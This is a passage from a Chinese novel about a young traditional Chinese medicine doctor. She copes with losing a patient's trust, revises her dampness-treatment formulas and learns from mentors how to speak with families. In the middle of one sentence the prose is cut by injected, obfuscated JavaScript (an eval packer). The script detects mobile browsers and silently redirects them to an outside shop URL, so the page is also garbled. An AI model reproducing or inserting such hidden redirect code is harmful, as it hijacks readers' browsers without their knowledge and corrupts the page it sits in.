吴老太出院后没有再来找沈渡复诊。林医生说她的女儿把她转到另一家社区医院了，离他们家更近。沈渡没说什么。她知道不是远近的问题，是不信任了。信任碎了，粘不回去。她只能接受这个事实——她失去了一个病人。不是因为医术不够，是因为顺序错了。顺序错了也是错，错就是错。
她把吴老太的病历从抽屉里拿出来，翻到最后一页，在上面写了一行字：“湿盛者，先化湿，后补脾。湿不去，补不进。”写完之后把病历放回去。
九月的第三个周六，沈渡照常去社区义诊。来的人还是那么多，没有人问吴老太的事，没有人用异样的眼光看她。她不知道是事情没传开，还是传开了但大家觉得不是她的错。她没有问，也不需要知道。她只需要把该看的病人看好，该开的方子开对。一个病人走了，还有别的病人来。她不能因为一个病人不信任她，就不信任自己。
那天下午，沈渡去了陈媛家。陈媛的丈夫做了一道新菜，红烧鱼。鱼煎得有点焦，皮破了，但味道不错。沈渡吃了两碗饭，喝了一碗汤，把那盘鱼吃得只剩骨头。陈媛在旁边看着她吃，忽然说了一句：“沈渡，你最近是不是很累？”沈渡把碗放下。“还行。”陈媛看了她一阵，没有追问，给她又盛了一碗汤。“累就多喝点汤，汤补人。”
沈渡端着那个碗，汤的热气扑在脸上，模糊了她的视线。她没说话，把汤喝完了。陈媛把碗收走，在厨房里洗碗。水声哗哗的，她在里面说了一句话，声音不大，但沈渡听到了：“你不是一个人，不用什么都自己扛。”
晚上沈渡回到家，坐在书桌前。她把那本《方剂学》翻到“祛湿剂”那一章。她不只是在背方子，是在重建顺序——化湿、祛湿、利湿、燥湿、胜湿。每一个“湿”都有对应的治法，每一个治法都有对应的方药。平胃散燥湿运脾，二陈汤燥湿化痰，藿香正气散解表化湿，五苓散利水渗湿。她把这些方子默了一遍，默完又默了一遍。默到滚瓜烂熟了，才合上书。
手机震了。陈槿发来一条消息，没有称呼，没有落款，只有一句话：“黄区那个腹痛查因的，血常规出来了，白细胞两万，中性粒细胞百分之九十，你考虑什么？”沈渡看着这个病例，脑海里浮现出那个病人的脸。她今天下午在黄区接诊的，她当时考虑的是急性阑尾炎，开了血常规和腹部CT。现在CT结果还没出来，血常规先出了。白细胞两万，中性粒细胞百分之九十，这不是阑尾炎的典型血象，阑尾炎的血象一般不会这么高。沈渡想了想，回复：“肠系膜淋巴结炎？或者憩室炎？”过了几分钟，陈槿回了一句：“CT出来是肠系膜淋巴结炎。你对了。”
沈渡看着那四个字——“你对了。”不多，但够了。她把手机放在桌上，靠椅背上想——陈槿不是在夸她，是在告诉她，她的临床思路是对的。即使上次错了，这次对了。对了就是对了，对了一次就值得记住。
周日上午，沈渡去贺老那里。贺老在院子里晾陈皮。沈渡帮忙把陈皮一片一片地铺在竹匾上，铺得很均匀。贺老看了她一眼。“你那个病人，怎么样了？”“你说哪个？”“骂你的那个。吴老太。”沈渡的手停了一下，又继续铺。“她转去别的社区医院了。不是我治的，是她女儿不信任我了。”
贺老走过来在她旁边的椅子上坐下。“你知道陈槿怎么评价你吗？”“不知道。”“她说你基本功扎实，临床思路清晰，但还缺一样东西。”沈渡抬起头看着贺老。“缺什么？”“缺一张嘴。你不会跟家属说话。”
沈渡低下头。贺老说的对，她嘴笨。她不知道该怎么跟家属说“你妈妈的病不是我的药的问题”，不知道该怎么说“你的病不是不治之症”，不知道该怎么说“我会尽力”。她说不出口，不是不想说，是怕说错了。说错了比不说更糟糕。
贺老靠在椅背上，看着院子里晾着的陈皮，手放在膝盖上，手指轻轻地叩着裤缝。“嘴笨不是天生的，是练得太少。你在诊室里练把脉、练开方、练针灸，你什么时候练过说话？病人不是你的老师，你的老师是那些你每天见到的人——赵大爷、陈媛、徐敏。你跟他们说话的时候，嘴笨吗？”沈渡想了想。不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674663|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笨，她跟他们说话的时候嘴不笨。因为她知道他们不会因为她说的不对就不理她，不会因为她说的不漂亮就不再信任她。信任是在安全的环境里慢慢长出来的。她在赵大爷、陈媛、徐敏那里长出了信任，但在病人和家属那里，她很匮乏。
从贺老家出来，沈渡去了一趟省中医院。不找林院长，去找那个会诊时遇到的陈主任——陈槿的同姓，不是同一个人。她是中医科的，四十多岁，说话温温柔柔的。沈渡想问她关于“湿”的问题。
陈主任正在门诊，病人很多，沈渡在走廊的椅子上等了一个多小时。轮到她的时候，陈主任看到她，笑了一下。“林院长的学生？”“是。”沈渡把吴老太的病例说了一遍。陈主任听完，翻了翻吴老太的病历。“你这个案例很典型。脾虚湿盛的人，不能直接用补药。要先运化中焦，等脾胃功能恢复了再补。就像一块地，水太多了，你不能急着种庄稼，要先挖沟排水。水排干了，土松了，种子才能发芽。”
沈渡把“挖沟排水”四个字记在心里了。
傍晚沈渡去了徐敏家。念念会叫“妈妈”了，不是有意识的，是无意识的，但徐敏每次听到都会眼眶泛红。沈渡坐在爬行垫上，念念爬过来，把一只积木塞到她手里。积木是红色的，三角形的，上面画着一颗星星。沈渡把积木握在手心里，看着念念，想着她是如何在安全的环境里慢慢学会说话的——没人逼她，没人催她，没人嘲笑她说错了。她只是听着、看着、学着。到了时候，自然就会了。她学说话也是这样，只是她学得太久了，久到她以为自己是哑巴。
晚上回到家，沈渡把吴老太的病历从抽屉里拿出来看了一遍。她没有扔掉，也没有藏起来。那是她犯过的错，错了就要记住。记住了，下次就不会再犯。
窗外路灯还亮着。沈渡关了灯躺在床上，把今天陈主任说的“挖沟排水”在脑子里过了一遍。她是那块地，水太多了，排不掉，庄稼长不出来。她不需要急着种庄稼，她需要先挖沟。沟挖好了，水排干了，种子自己会发芽。
她相信这一点。